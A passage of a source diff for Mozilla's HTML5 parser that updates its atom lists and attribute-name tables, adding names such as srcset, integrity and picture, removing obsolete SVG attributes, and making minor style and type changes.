+HTML5_ATOM(desc, "desc")
+HTML5_ATOM(foreignObject, "foreignObject")
+HTML5_ATOM(mi, "mi")
+HTML5_ATOM(mo, "mo")
+HTML5_ATOM(mn, "mn")
+HTML5_ATOM(ms, "ms")
+HTML5_ATOM(mtext, "mtext")
+HTML5_ATOM(annotation_xml, "annotation-xml")
+HTML5_ATOM(template_, "template")
HTML5_ATOM(textarea, "textarea")
HTML5_ATOM(style, "style")
HTML5_ATOM(xmp, "xmp")
@@ -43,6 +51,7 @@ HTML5_ATOM(nobr, "nobr")
HTML5_ATOM(input, "input")
HTML5_ATOM(option, "option")
HTML5_ATOM(ruby, "ruby")
+HTML5_ATOM(rtc, "rtc")
HTML5_ATOM(select, "select")
HTML5_ATOM(optgroup, "optgroup")
HTML5_ATOM(tbody, "tbody")
@@ -181,6 +190,7 @@ HTML5_ATOM(scale, "scale")
HTML5_ATOM(speed, "speed")
HTML5_ATOM(rules, "rules")
HTML5_ATOM(stemh, "stemh")
+HTML5_ATOM(sizes, "sizes")
HTML5_ATOM(stemv, "stemv")
HTML5_ATOM(start, "start")
HTML5_ATOM(accept, "accept")
@@ -234,6 +244,7 @@ HTML5_ATOM(stroke, "stroke")
HTML5_ATOM(radius, "radius")
HTML5_ATOM(result, "result")
HTML5_ATOM(repeat, "repeat")
+HTML5_ATOM(srcset, "srcset")
HTML5_ATOM(rspace, "rspace")
HTML5_ATOM(rotate, "rotate")
HTML5_ATOM(rquote, "rquote")
@@ -358,11 +369,10 @@ HTML5_ATOM(equalrows, "equalrows")
HTML5_ATOM(elevation, "elevation")
HTML5_ATOM(direction, "direction")
HTML5_ATOM(draggable, "draggable")
-HTML5_ATOM(filterres, "filterres")
-HTML5_ATOM(filterRes, "filterRes")
HTML5_ATOM(fill_rule, "fill-rule")
HTML5_ATOM(fontstyle, "fontstyle")
HTML5_ATOM(font_size, "font-size")
+HTML5_ATOM(keysystem, "keysystem")
HTML5_ATOM(keypoints, "keypoints")
HTML5_ATOM(keyPoints, "keyPoints")
HTML5_ATOM(hidefocus, "hidefocus")
@@ -371,6 +381,7 @@ HTML5_ATOM(intercept, "intercept")
HTML5_ATOM(ondragend, "ondragend")
HTML5_ATOM(onmoveend, "onmoveend")
HTML5_ATOM(oninvalid, "oninvalid")
+HTML5_ATOM(integrity, "integrity")
HTML5_ATOM(onkeydown, "onkeydown")
HTML5_ATOM(onfocusin, "onfocusin")
HTML5_ATOM(onmouseup, "onmouseup")
@@ -640,8 +651,6 @@ HTML5_ATOM(shape_rendering, "shape-rendering")
HTML5_ATOM(stroke_linejoin, "stroke-linejoin")
HTML5_ATOM(repeat_template, "repeat-template")
HTML5_ATOM(aria_describedby, "aria-describedby")
-HTML5_ATOM(contentstyletype, "contentstyletype")
-HTML5_ATOM(contentStyleType, "contentStyleType")
HTML5_ATOM(font_size_adjust, "font-size-adjust")
HTML5_ATOM(kernelunitlength, "kernelunitlength")
HTML5_ATOM(kernelUnitLength, "kernelUnitLength")
@@ -666,8 +675,6 @@ HTML5_ATOM(xChannelSelector, "xChannelSelector")
HTML5_ATOM(ychannelselector, "ychannelselector")
HTML5_ATOM(yChannelSelector, "yChannelSelector")
HTML5_ATOM(aria_autocomplete, "aria-autocomplete")
-HTML5_ATOM(contentscripttype, "contentscripttype")
-HTML5_ATOM(contentScriptType, "contentScriptType")
HTML5_ATOM(enable_background, "enable-background")
HTML5_ATOM(dominant_baseline, "dominant-baseline")
HTML5_ATOM(gradienttransform, "gradienttransform")
@@ -701,8 +708,6 @@ HTML5_ATOM(veryverythinmathspace, "veryverythinmathspace")
HTML5_ATOM(veryverythickmathspace, "veryverythickmathspace")
HTML5_ATOM(strikethrough_position, "strikethrough-position")
HTML5_ATOM(strikethrough_thickness, "strikethrough-thickness")
-HTML5_ATOM(externalresourcesrequired, "externalresourcesrequired")
-HTML5_ATOM(externalResourcesRequired, "externalResourcesRequired")
HTML5_ATOM(glyph_orientation_vertical, "glyph-orientation-vertical")
HTML5_ATOM(color_interpolation_filters, "color-interpolation-filters")
HTML5_ATOM(glyph_orientation_horizontal, "glyph-orientation-horizontal")
@@ -732,12 +737,9 @@ HTML5_ATOM(hr, "hr")
HTML5_ATOM(li, "li")
HTML5_ATOM(ln, "ln")
HTML5_ATOM(lt, "lt")
-HTML5_ATOM(mi, "mi")
-HTML5_ATOM(mn, "mn")
-HTML5_ATOM(mo, "mo")
-HTML5_ATOM(ms, "ms")
HTML5_ATOM(or_, "or")
HTML5_ATOM(pi, "pi")
+HTML5_ATOM(rb, "rb")
HTML5_ATOM(rp, "rp")
HTML5_ATOM(tt, "tt")
HTML5_ATOM(and_, "and")
@@ -788,7 +790,6 @@ HTML5_ATOM(csch, "csch")
HTML5_ATOM(cosh, "cosh")
HTML5_ATOM(coth, "coth")
HTML5_ATOM(curl, "curl")
-HTML5_ATOM(desc, "desc")
HTML5_ATOM(diff, "diff")
HTML5_ATOM(defs, "defs")
HTML5_ATOM(font, "font")
@@ -839,7 +840,6 @@ HTML5_ATOM(mover, "mover")
HTML5_ATOM(minus, "minus")
HTML5_ATOM(mroot, "mroot")
HTML5_ATOM(msqrt, "msqrt")
-HTML5_ATOM(mtext, "mtext")
HTML5_ATOM(notin, "notin")
HTML5_ATOM(piece, "piece")
HTML5_ATOM(param, "param")
@@ -907,7 +907,6 @@ HTML5_ATOM(arccosh, "arccosh")
HTML5_ATOM(arccoth, "arccoth")
HTML5_ATOM(acronym, "acronym")
HTML5_ATOM(bgsound, "bgsound")
-HTML5_ATOM(command, "command")
HTML5_ATOM(compose, "compose")
HTML5_ATOM(ceiling, "ceiling")
HTML5_ATOM(csymbol, "csymbol")
@@ -942,6 +941,7 @@ HTML5_ATOM(marquee, "marquee")
HTML5_ATOM(maction, "maction")
HTML5_ATOM(msubsup, "msubsup")
HTML5_ATOM(polygon, "polygon")
+HTML5_ATOM(picture, "picture")
HTML5_ATOM(product, "product")
HTML5_ATOM(setdiff, "setdiff")
HTML5_ATOM(section, "section")
@@ -1028,6 +1028,8 @@ HTML5_ATOM(feturbulence, "feturbulence")
HTML5_ATOM(feTurbulence, "feTurbulence")
HTML5_ATOM(fepointlight, "fepointlight")
HTML5_ATOM(fePointLight, "fePointLight")
+HTML5_ATOM(fedropshadow, "fedropshadow")
+HTML5_ATOM(feDropShadow, "feDropShadow")
HTML5_ATOM(femorphology, "femorphology")
HTML5_ATOM(feMorphology, "feMorphology")
HTML5_ATOM(outerproduct, "outerproduct")
@@ -1036,14 +1038,12 @@ HTML5_ATOM(animateMotion, "animateMotion")
HTML5_ATOM(font_face_src, "font-face-src")
HTML5_ATOM(font_face_uri, "font-face-uri")
HTML5_ATOM(foreignobject, "foreignobject")
-HTML5_ATOM(foreignObject, "foreignObject")
HTML5_ATOM(fecolormatrix, "fecolormatrix")
HTML5_ATOM(feColorMatrix, "feColorMatrix")
HTML5_ATOM(missing_glyph, "missing-glyph")
HTML5_ATOM(mmultiscripts, "mmultiscripts")
HTML5_ATOM(scalarproduct, "scalarproduct")
HTML5_ATOM(vectorproduct, "vectorproduct")
-HTML5_ATOM(annotation_xml, "annotation-xml")
HTML5_ATOM(definition_src, "definition-src")
HTML5_ATOM(font_face_name, "font-face-name")
HTML5_ATOM(fegaussianblur, "fegaussianblur")
diff --git a/parser/html/nsHtml5AtomTable.h b/parser/html/nsHtml5AtomTable.h
index a7df2192d..43f9b5f2f 100644
--- a/parser/html/nsHtml5AtomTable.h
+++ b/parser/html/nsHtml5AtomTable.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5AtomTable_h_
-#define nsHtml5AtomTable_h_
+#ifndef nsHtml5AtomTable_h
+#define nsHtml5AtomTable_h
#include "nsHashKeys.h"
#include "nsTHashtable.h"
@@ -16,10 +16,11 @@ class nsHtml5Atom;
class nsHtml5AtomEntry : public nsStringHashKey
{
public:
- nsHtml5AtomEntry(KeyTypePointer aStr);
+ explicit nsHtml5AtomEntry(KeyTypePointer aStr);
nsHtml5AtomEntry(const nsHtml5AtomEntry& aOther);
~nsHtml5AtomEntry();
- inline nsHtml5Atom* GetAtom() {
+ inline nsHtml5Atom* GetAtom()
+ {
return mAtom;
}
private:
@@ -77,13 +78,6 @@ class nsHtml5AtomTable
~nsHtml5AtomTable();
/**
- * Must be called after the constructor before use.
- */
- inline void Init() {
- mTable.Init();
- }
-
- /**
* Obtains the atom for the given string in the scope of this atom table.
*/
nsIAtom* GetAtom(const nsAString& aKey);
@@ -91,12 +85,14 @@ class nsHtml5AtomTable
/**
* Empties the table.
*/
- void Clear() {
+ void Clear()
+ {
mTable.Clear();
}
#ifdef DEBUG
- void SetPermittedLookupThread(nsIThread* aThread) {
+ void SetPermittedLookupThread(nsIThread* aThread)
+ {
mPermittedLookupThread = aThread;
}
#endif
@@ -108,4 +104,4 @@ class nsHtml5AtomTable
#endif
};
-#endif // nsHtml5AtomTable_h_
+#endif // nsHtml5AtomTable_h
diff --git a/parser/html/nsHtml5Atoms.cpp b/parser/html/nsHtml5Atoms.cpp
index 108e393ec..ae8136179 100644
--- a/parser/html/nsHtml5Atoms.cpp
+++ b/parser/html/nsHtml5Atoms.cpp
@@ -10,8 +10,6 @@
* unloaded.
*/
-#include "mozilla/Util.h"
-
#include "nsHtml5Atoms.h"
#include "nsStaticAtom.h"
diff --git a/parser/html/nsHtml5Atoms.h b/parser/html/nsHtml5Atoms.h
index da452ba39..069aa8445 100644
--- a/parser/html/nsHtml5Atoms.h
+++ b/parser/html/nsHtml5Atoms.h
@@ -9,8 +9,8 @@
* is loaded and they are destroyed when gklayout is unloaded.
*/
-#ifndef nsHtml5Atoms_h___
-#define nsHtml5Atoms_h___
+#ifndef nsHtml5Atoms_h
+#define nsHtml5Atoms_h
#include "nsIAtom.h"
@@ -27,4 +27,4 @@ class nsHtml5Atoms {
#undef HTML5_ATOM
};
-#endif /* nsHtml5Atoms_h___ */
+#endif /* nsHtml5Atoms_h */
diff --git a/parser/html/nsHtml5AttributeName.cpp b/parser/html/nsHtml5AttributeName.cpp
index 6416e503e..ce9906b68 100644
--- a/parser/html/nsHtml5AttributeName.cpp
+++ b/parser/html/nsHtml5AttributeName.cpp
@@ -30,7 +30,7 @@
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -40,6 +40,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
#include "nsHtml5Tokenizer.h"
#include "nsHtml5TreeBuilder.h"
@@ -103,7 +104,7 @@ nsHtml5AttributeName::SAME_LOCAL(nsIAtom* name)
}
nsHtml5AttributeName*
-nsHtml5AttributeName::nameByBuffer(PRUnichar* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner)
+nsHtml5AttributeName::nameByBuffer(char16_t* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner)
{
int32_t hash = nsHtml5AttributeName::bufToHash(buf, length);
int32_t index = nsHtml5AttributeName::ATTRIBUTE_HASHES.binarySearch(hash);
@@ -120,7 +121,7 @@ nsHtml5AttributeName::nameByBuffer(PRUnichar* buf, int32_t offset, int32_t lengt
}
int32_t
-nsHtml5AttributeName::bufToHash(PRUnichar* buf, int32_t len)
+nsHtml5AttributeName::bufToHash(char16_t* buf, int32_t len)
{
int32_t hash2 = 0;
int32_t hash = len;
@@ -313,6 +314,7 @@ nsHtml5AttributeName* nsHtml5AttributeName::ATTR_SPEED = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_STYLE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_RULES = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_STEMH = nullptr;
+nsHtml5AttributeName* nsHtml5AttributeName::ATTR_SIZES = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_STEMV = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_START = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_XMLNS = nullptr;
@@ -367,6 +369,7 @@ nsHtml5AttributeName* nsHtml5AttributeName::ATTR_STROKE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_RADIUS = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_RESULT = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_REPEAT = nullptr;
+nsHtml5AttributeName* nsHtml5AttributeName::ATTR_SRCSET = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_RSPACE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ROTATE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_RQUOTE = nullptr;
@@ -485,10 +488,10 @@ nsHtml5AttributeName* nsHtml5AttributeName::ATTR_EQUALROWS = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ELEVATION = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_DIRECTION = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_DRAGGABLE = nullptr;
-nsHtml5AttributeName* nsHtml5AttributeName::ATTR_FILTERRES = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_FILL_RULE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_FONTSTYLE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_FONT_SIZE = nullptr;
+nsHtml5AttributeName* nsHtml5AttributeName::ATTR_KEYSYSTEM = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_KEYPOINTS = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_HIDEFOCUS = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ONMESSAGE = nullptr;
@@ -496,6 +499,7 @@ nsHtml5AttributeName* nsHtml5AttributeName::ATTR_INTERCEPT = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ONDRAGEND = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ONMOVEEND = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ONINVALID = nullptr;
+nsHtml5AttributeName* nsHtml5AttributeName::ATTR_INTEGRITY = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ONKEYDOWN = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ONFOCUSIN = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ONMOUSEUP = nullptr;
@@ -725,7 +729,6 @@ nsHtml5AttributeName* nsHtml5AttributeName::ATTR_SHAPE_RENDERING = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_STROKE_LINEJOIN = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_REPEAT_TEMPLATE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ARIA_DESCRIBEDBY = nullptr;
-nsHtml5AttributeName* nsHtml5AttributeName::ATTR_CONTENTSTYLETYPE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_FONT_SIZE_ADJUST = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_KERNELUNITLENGTH = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ONBEFOREACTIVATE = nullptr;
@@ -742,7 +745,6 @@ nsHtml5AttributeName* nsHtml5AttributeName::ATTR_STROKE_DASHARRAY = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_XCHANNELSELECTOR = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_YCHANNELSELECTOR = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ARIA_AUTOCOMPLETE = nullptr;
-nsHtml5AttributeName* nsHtml5AttributeName::ATTR_CONTENTSCRIPTTYPE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_ENABLE_BACKGROUND = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_DOMINANT_BASELINE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_GRADIENTTRANSFORM = nullptr;
@@ -771,12 +773,11 @@ nsHtml5AttributeName* nsHtml5AttributeName::ATTR_VERYVERYTHINMATHSPACE = nullptr
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_VERYVERYTHICKMATHSPACE = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_STRIKETHROUGH_POSITION = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_STRIKETHROUGH_THICKNESS = nullptr;
-nsHtml5AttributeName* nsHtml5AttributeName::ATTR_EXTERNALRESOURCESREQUIRED = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_GLYPH_ORIENTATION_VERTICAL = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_COLOR_INTERPOLATION_FILTERS = nullptr;
nsHtml5AttributeName* nsHtml5AttributeName::ATTR_GLYPH_ORIENTATION_HORIZONTAL = nullptr;
nsHtml5AttributeName** nsHtml5AttributeName::ATTRIBUTE_NAMES = 0;
-static int32_t const ATTRIBUTE_HASHES_DATA[] = { 1153, 1383, 1601, 1793, 1827, 1857, 68600, 69146, 69177, 70237, 70270, 71572, 71669, 72415, 72444, 74846, 74904, 74943, 75001, 75276, 75590, 84742, 84839, 85575, 85963, 85992, 87204, 88074, 88171, 89130, 89163, 3207892, 3283895, 3284791, 3338752, 3358197, 3369562, 3539124, 3562402, 3574260, 3670335, 3696933, 3721879, 135280021, 135346322, 136317019, 136475749, 136548517, 136652214, 136884919, 136902418, 136942992, 137292068, 139120259, 139785574, 142250603, 142314056, 142331176, 142519584, 144752417, 145106895, 146147200, 146765926, 148805544, 149655723, 149809441, 150018784, 150445028, 150813181, 150923321, 152528754, 152536216, 152647366, 152962785, 155219321, 155654904, 157317483, 157350248, 157437941, 157447478, 157604838, 157685404, 157894402, 158315188, 166078431, 169409980, 169700259, 169856932, 170007032, 170409695, 170466488, 170513710, 170608367, 173028944, 173896963, 176090625, 176129212, 179390001, 179489057, 179627464, 179840468, 179849042, 180004216, 181779081, 183027151, 183645319, 183698797, 185922012, 185997252, 188312483, 188675799, 190977533, 190992569, 191006194, 191033518, 191038774, 191096249, 191166163, 191194426, 191522106, 191568039, 200104642, 202506661, 202537381, 202602917, 203070590, 203120766, 203389054, 203690071, 203971238, 203986524, 209040857, 209125756, 212055489, 212322418, 212746849, 213002877, 213055164, 213088023, 213259873, 213273386, 213435118, 213437318, 213438231, 213493071, 213532268, 213542834, 213584431, 213659891, 215285828, 215880731, 216112976, 216684637, 217369699, 217565298, 217576549, 218186795, 219743185, 220082234, 221623802, 221986406, 222283890, 223089542, 223138630, 223311265, 224431494, 224547358, 224587256, 224589550, 224655650, 224785518, 224810917, 224813302, 225429618, 225432950, 225440869, 236107233, 236709921, 236838947, 237117095, 237143271, 237172455, 237209953, 237354143, 237372743, 237668065, 237703073, 237714273, 239743521, 240512803, 240522627, 240560417, 240656513, 241015715, 241062755, 241065383, 243523041, 245865199, 246261793, 246556195, 246774817, 246923491, 246928419, 246981667, 247014847, 247058369, 247112833, 247118177, 247119137, 247128739, 247316903, 249533729, 250235623, 250269543, 251402351, 252339047, 253260911, 253293679, 254844367, 255547879, 256077281, 256345377, 258124199, 258354465, 258605063, 258744193, 258845603, 258856961, 258926689, 269869248, 270174334, 270709417, 270778994, 270781796, 271102503, 271478858, 271490090, 272870654, 273335275, 273369140, 273924313, 274108530, 274116736, 276818662, 277476156, 279156579, 279349675, 280108533, 280128712, 280132869, 280162403, 280280292, 280413430, 280506130, 280677397, 280678580, 280686710, 280689066, 282736758, 283110901, 283275116, 283823226, 283890012, 284479340, 284606461, 286700477, 286798916, 291557706, 291665349, 291804100, 292138018, 292166446, 292418738, 292451039, 300298041, 300374839, 300597935, 303073389, 303083839, 303266673, 303354997, 303430688, 303576261, 303724281, 303819694, 304242723, 304382625, 306247792, 307227811, 307468786, 307724489, 309671175, 310252031, 310358241, 310373094, 311015256, 313357609, 313683893, 313701861, 313706996, 313707317, 313710350, 314027746, 314038181, 314091299, 314205627, 314233813, 316741830, 316797986, 317486755, 317794164, 320076137, 322657125, 322887778, 323506876, 323572412, 323605180, 325060058, 325320188, 325398738, 325541490, 325671619, 333868843, 336806130, 337212108, 337282686, 337285434, 337585223, 338036037, 338298087, 338566051, 340943551, 341190970, 342995704, 343352124, 343912673, 344585053, 346977248, 347218098, 347262163, 347278576, 347438191, 347655959, 347684788, 347726430, 347727772, 347776035, 347776629, 349500753, 350880161, 350887073, 353384123, 355496998, 355906922, 355979793, 356545959, 358637867, 358905016, 359164318, 359247286, 359350571, 359579447, 365560330, 367399355, 367420285, 367510727, 368013212, 370234760, 370353345, 370710317, 371074566, 371122285, 371194213, 371448425, 371448430, 371545055, 371593469, 371596922, 371758751, 371964792, 372151328, 376550136, 376710172, 376795771, 376826271, 376906556, 380514830, 380774774, 380775037, 381030322, 381136500, 381281631, 381282269, 381285504, 381330595, 381331422, 381335911, 381336484, 383907298, 383917408, 384595009, 384595013, 387799894, 387823201, 392581647, 392584937, 392742684, 392906485, 393003349, 400644707, 400973830, 404428547, 404432113, 404432865, 404469244, 404478897, 404694860, 406887479, 408294949, 408789955, 410022510, 410467324, 410586448, 410945965, 411845275, 414327152, 414327932, 414329781, 414346257, 414346439, 414639928, 414835998, 414894517, 414986533, 417465377, 417465381, 417492216, 418259232, 419310946, 420103495, 420242342, 420380455, 420658662, 420717432, 423183880, 424539259, 425929170, 425972964, 426050649, 426126450, 426142833, 426607922, 437289840, 437347469, 437412335, 437423943, 437455540, 437462252, 437597991, 437617485, 437986305, 437986507, 437986828, 437987072, 438015591, 438034813, 438038966, 438179623, 438347971, 438483573, 438547062, 438895551, 441592676, 442032555, 443548979, 447881379, 447881655, 447881895, 447887844, 448416189, 448445746, 448449012, 450942191, 452816744, 453668677, 454434495, 456610076, 456642844, 456738709, 457544600, 459451897, 459680944, 468058810, 468083581, 470964084, 471470955, 471567278, 472267822, 481177859, 481210627, 481435874, 481455115, 481485378, 481490218, 485105638, 486005878, 486383494, 487988916, 488103783, 490661867, 491574090, 491578272, 493041952, 493441205, 493582844, 493716979, 504577572, 504740359, 505091638, 505592418, 505656212, 509516275, 514998531, 515571132, 515594682, 518712698, 521362273, 526592419, 526807354, 527348842, 538294791, 539214049, 544689535, 545535009, 548544752, 548563346, 548595116, 551679010, 558034099, 560329411, 560356209, 560671018, 560671152, 560692590, 560845442, 569212097, 569474241, 572252718, 572768481, 575326764, 576174758, 576190819, 582099184, 582099438, 582372519, 582558889, 586552164, 591325418, 594231990, 594243961, 605711268, 615672071, 616086845, 621792370, 624879850, 627432831, 640040548, 654392808, 658675477, 659420283, 672891587, 694768102, 705890982, 725543146, 759097578, 761686526, 795383908, 843809551, 878105336, 908643300, 945213471 };
+static int32_t const ATTRIBUTE_HASHES_DATA[] = { 1153, 1383, 1601, 1793, 1827, 1857, 68600, 69146, 69177, 70237, 70270, 71572, 71669, 72415, 72444, 74846, 74904, 74943, 75001, 75276, 75590, 84742, 84839, 85575, 85963, 85992, 87204, 88074, 88171, 89130, 89163, 3207892, 3283895, 3284791, 3338752, 3358197, 3369562, 3539124, 3562402, 3574260, 3670335, 3696933, 3721879, 135280021, 135346322, 136317019, 136475749, 136548517, 136652214, 136884919, 136902418, 136942992, 137292068, 139120259, 139785574, 142250603, 142314056, 142331176, 142519584, 144752417, 145106895, 146147200, 146765926, 148805544, 149655723, 149809441, 150018784, 150445028, 150813181, 150923321, 152528754, 152536216, 152647366, 152962785, 155219321, 155654904, 157317483, 157350248, 157437941, 157447478, 157604838, 157685404, 157894402, 158315188, 166078431, 169409980, 169700259, 169856932, 170007032, 170409695, 170466488, 170513710, 170608367, 173028944, 173896963, 176090625, 176129212, 179390001, 179489057, 179627464, 179840468, 179849042, 180004216, 181779081, 183027151, 183645319, 183698797, 185922012, 185997252, 188312483, 188675799, 190977533, 190992569, 191006194, 191033518, 191038774, 191096249, 191166163, 191194426, 191443343, 191522106, 191568039, 200104642, 202506661, 202537381, 202602917, 203070590, 203120766, 203389054, 203690071, 203971238, 203986524, 209040857, 209125756, 212055489, 212322418, 212746849, 213002877, 213055164, 213088023, 213259873, 213273386, 213435118, 213437318, 213438231, 213493071, 213532268, 213542834, 213584431, 213659891, 215285828, 215880731, 216112976, 216684637, 217369699, 217565298, 217576549, 218186795, 219743185, 220082234, 221623802, 221986406, 222283890, 223089542, 223138630, 223311265, 224431494, 224547358, 224587256, 224589550, 224655650, 224785518, 224810917, 224813302, 225126263, 225429618, 225432950, 225440869, 236107233, 236709921, 236838947, 237117095, 237143271, 237172455, 237209953, 237354143, 237372743, 237668065, 237703073, 237714273, 239743521, 240512803, 240522627, 240560417, 240656513, 241015715, 241062755, 241065383, 243523041, 245865199, 246261793, 246556195, 246774817, 246923491, 246928419, 246981667, 247014847, 247058369, 247112833, 247118177, 247119137, 247128739, 247316903, 249533729, 250235623, 250269543, 251402351, 252339047, 253260911, 253293679, 254844367, 255547879, 256077281, 256345377, 258124199, 258354465, 258605063, 258744193, 258845603, 258856961, 258926689, 269869248, 270174334, 270709417, 270778994, 270781796, 271102503, 271478858, 271490090, 272870654, 273335275, 273369140, 273924313, 274108530, 274116736, 276818662, 277476156, 279156579, 279349675, 280108533, 280128712, 280132869, 280162403, 280280292, 280413430, 280506130, 280677397, 280678580, 280686710, 280689066, 282736758, 283110901, 283275116, 283823226, 283890012, 284479340, 284606461, 286700477, 286798916, 291557706, 291665349, 291804100, 292138018, 292166446, 292418738, 292451039, 300298041, 300374839, 300597935, 303073389, 303083839, 303266673, 303354997, 303430688, 303576261, 303724281, 303819694, 304242723, 304382625, 306247792, 307227811, 307468786, 307724489, 310252031, 310358241, 310373094, 310833159, 311015256, 313357609, 313683893, 313701861, 313706996, 313707317, 313710350, 313795700, 314027746, 314038181, 314091299, 314205627, 314233813, 316741830, 316797986, 317486755, 317794164, 320076137, 322657125, 322887778, 323506876, 323572412, 323605180, 325060058, 325320188, 325398738, 325541490, 325671619, 333868843, 336806130, 337212108, 337282686, 337285434, 337585223, 338036037, 338298087, 338566051, 340943551, 341190970, 342995704, 343352124, 343912673, 344585053, 346977248, 347218098, 347262163, 347278576, 347438191, 347655959, 347684788, 347726430, 347727772, 347776035, 347776629, 349500753, 350880161, 350887073, 353384123, 355496998, 355906922, 355979793, 356545959, 358637867, 358905016, 359164318, 359247286, 359350571, 359579447, 365560330, 367399355, 367420285, 367510727, 368013212, 370234760, 370353345, 370710317, 371074566, 371122285, 371194213, 371448425, 371448430, 371545055, 371593469, 371596922, 371758751, 371964792, 372151328, 376550136, 376710172, 376795771, 376826271, 376906556, 380514830, 380774774, 380775037, 381030322, 381136500, 381281631, 381282269, 381285504, 381330595, 381331422, 381335911, 381336484, 383907298, 383917408, 384595009, 384595013, 387799894, 387823201, 392581647, 392584937, 392742684, 392906485, 393003349, 400644707, 400973830, 404428547, 404432113, 404432865, 404469244, 404478897, 404694860, 406887479, 408294949, 408789955, 410022510, 410467324, 410586448, 410945965, 411845275, 414327152, 414327932, 414329781, 414346257, 414346439, 414639928, 414835998, 414894517, 414986533, 417465377, 417465381, 417492216, 418259232, 419310946, 420103495, 420242342, 420380455, 420658662, 420717432, 423183880, 424539259, 425929170, 425972964, 426050649, 426126450, 426142833, 426607922, 437289840, 437347469, 437412335, 437423943, 437455540, 437462252, 437597991, 437617485, 437986305, 437986507, 437986828, 437987072, 438015591, 438034813, 438038966, 438179623, 438347971, 438483573, 438547062, 438895551, 441592676, 442032555, 443548979, 447881379, 447881655, 447881895, 447887844, 448416189, 448445746, 448449012, 450942191, 452816744, 453668677, 454434495, 456610076, 456642844, 456738709, 457544600, 459451897, 459680944, 468058810, 468083581, 470964084, 471470955, 471567278, 472267822, 481177859, 481210627, 481435874, 481455115, 481485378, 481490218, 485105638, 486005878, 486383494, 487988916, 488103783, 490661867, 491574090, 491578272, 493041952, 493441205, 493582844, 493716979, 504577572, 504740359, 505091638, 505592418, 505656212, 509516275, 514998531, 515571132, 515594682, 518712698, 521362273, 526592419, 526807354, 527348842, 538294791, 544689535, 545535009, 548544752, 548563346, 548595116, 551679010, 558034099, 560329411, 560356209, 560671018, 560671152, 560692590, 560845442, 569212097, 569474241, 572252718, 575326764, 576174758, 576190819, 582099184, 582099438, 582372519, 582558889, 586552164, 591325418, 594231990, 594243961, 605711268, 615672071, 616086845, 621792370, 624879850, 627432831, 640040548, 654392808, 658675477, 659420283, 672891587, 694768102, 705890982, 725543146, 759097578, 761686526, 795383908, 878105336, 908643300, 945213471 };
staticJArray<int32_t,int32_t> nsHtml5AttributeName::ATTRIBUTE_HASHES = { ATTRIBUTE_HASHES_DATA, MOZ_ARRAY_LENGTH(ATTRIBUTE_HASHES_DATA) };
void
nsHtml5AttributeName::initializeStatics()
@@ -932,6 +933,7 @@ nsHtml5AttributeName::initializeStatics()
ATTR_STYLE = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::style), ALL_NO_PREFIX);
ATTR_RULES = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::rules), ALL_NO_PREFIX);
ATTR_STEMH = new nsHtml5AttributeName(ALL_NO_NS, SAME_LOCAL(nsHtml5Atoms::stemh), ALL_NO_PREFIX);
